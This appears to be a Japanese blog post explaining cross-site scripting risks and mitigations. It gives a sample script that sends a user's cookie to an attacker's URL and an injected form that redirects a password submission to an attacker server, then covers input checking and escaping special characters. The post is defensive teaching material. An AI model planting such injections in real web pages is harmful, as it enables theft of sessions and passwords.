`
lvhuiqing
  • 浏览: 252153 次
  • 性别: Icon_minigender_1
  • 来自: 沈阳
社区版块
存档分类
最新评论

連載二、クロスサイトスクリプティング基本

 
阅读更多
XSSセキュリティホールによる起こり得る被害

●cookieの盗難

 これがXSSの被害としては一般に広く知られている。「document.location="http://attacker/cookie.cgi?

cookie="+document.cookie;」というスクリプトを実行されると、攻撃者サイトのcookie.cgiにユーザーのcookieを

含んだ形でアクセスすることになる。攻撃者サイトのWebサーバのログにも残るだろうし、cookieデータを受けたCGI

ではどんな処理でもできることになる。

cookieに個人情報やセッションIDのような情報だけを格納している場合は、cookieのセッションIDだけでユーザー認

証を行っている場合は危険である。


●ページの改ざん


<form action="regist.cgi">
<input type="hidden" name="sample" value="○○">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>


<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>


●HTTPおよびHTML文内の特殊文字の対策

XSS対策の最初の一歩は「入力チェック」
  入力チェックの落とし穴
  すべてのパラメータをチェックをする
  毎回チェックをする

特殊文字のサニタイジング(無害化)
  文字をサニタイジングするには、それぞれ「&lt;」「&gt;」「&amp;」に変換する。
分享到:
评论

相关推荐

    170330_webpack:“最新版で学ぶwebpack入门”のサンプルコード集です。ReactやBabelなど30以上の构成のサンプルを用意しています

    最新版で学ぶwebpack入门 ICS MEDIA“”のサンプルコード集です。ReactやBabelなど30以上の构成のサンプルを用意しています。 各フォルダーの构成は常に最新を保っているので,安心して参照してくだ...スタイルシート编

    GAMP 5 第二版 中英文翻译连载

    GAMP 5 第二版 中英文翻译连载 GAMP 5 第二版是计算机系统验证的国际标准,旨在确保计算机系统的可靠性、安全性和效率。本资源提供了GAMP 5 第二版的中英文翻译连载,涵盖了计算机系统生命周期、质量风险管理、供应...

    陶显芳老师的《开关电源设计技巧》连载二.pdf

    陶显芳老师的《开关电源设计技巧》连载二pdf,陶显芳老师的《开关电源设计技巧》连载二.pdf

    消灭星星游戏程序设计连载二-文字和图片的显示

    消灭星星游戏程序设计【连载二】——文字和图片的显示

    丸之内mongodb:东京丸之内meetup MongoDB指南

    ご発表いただいた资料はOpenStandiaのWebサイトからリンクを贴らせていただく场合があります。ご了承ください。 MongoDB最初の1歩 を一通り読むと良いと思います。とりあえず手を动かしたい人は,のstep01をやってみ...

    框架设计学习资料 连载 连载不断更新

    ### 框架设计学习资料连载知识点解析 #### 一、HTML基础知识概览 ##### 1. HTML标签 - **定义**: HTML文档是由一系列的HTML标签组成的,这些标签用于标记文档的不同部分,如文本、图像、链接等。 - **结构**: - ...

    利用spc3开发智能从站源码讲解(连载二)

    在“利用spc3开发智能从站源码讲解(连载一)”中,我们可能已经接触到了一些基础概念和准备工作,如SPC3的功能介绍、从站设备的基本架构以及开发环境的搭建。现在,让我们继续在这个“连载二”中深化对SPC3开发的...

    安卓基础资料连载二

    【Android核心基础】是安卓开发入门的重要组成部分,涵盖了Android应用开发的基本概念和技术。在这个主题中,我们将重点关注Android Junit测试框架的使用,它是确保代码质量和稳定性的重要工具。 **1. 测试分类** ...

    [新闻文章]新飞库电子书连载系统

    新飞库电子书连载系统是一款专门针对电子书发布与阅读设计的软件,它为作者提供了便捷的电子书创作、发布和管理平台,同时也为读者提供了丰富的电子书资源和舒适的阅读体验。这款系统的出现,极大地推动了网络文学的...

    Cadence 16.6新功能连载二

    ### 二、Shape Expansion/Contraction 这一功能允许用户轻松地扩展或收缩已存在的形状。操作步骤如下: 1. 首先,确保当前的工作模式为“General Edit”。 2. 接着,选择想要修改的形状,右键点击并选择“Expand/...

    罗斯文数据库学习连载

    1. **数据库基础**:了解数据库的基本概念,如表、字段、记录、索引等。理解关系数据库模型,以及如何通过实体、属性和关系来组织数据。 2. **创建数据库**:学习如何使用Access创建一个新的数据库,包括定义表结构...

    流光网络小说连载系统 v1.0-ASP源码.zip

    流光网络小说连载系统v1.0是一款基于ASP(Active Server Pages)开发的网络文学发布平台,主要用于在线连载和管理小说。ASP是一种由微软公司推出的服务器端脚本环境,允许Web开发者创建动态交互式网页。这个系统的...

Global site tag (gtag.js) - Google Analytics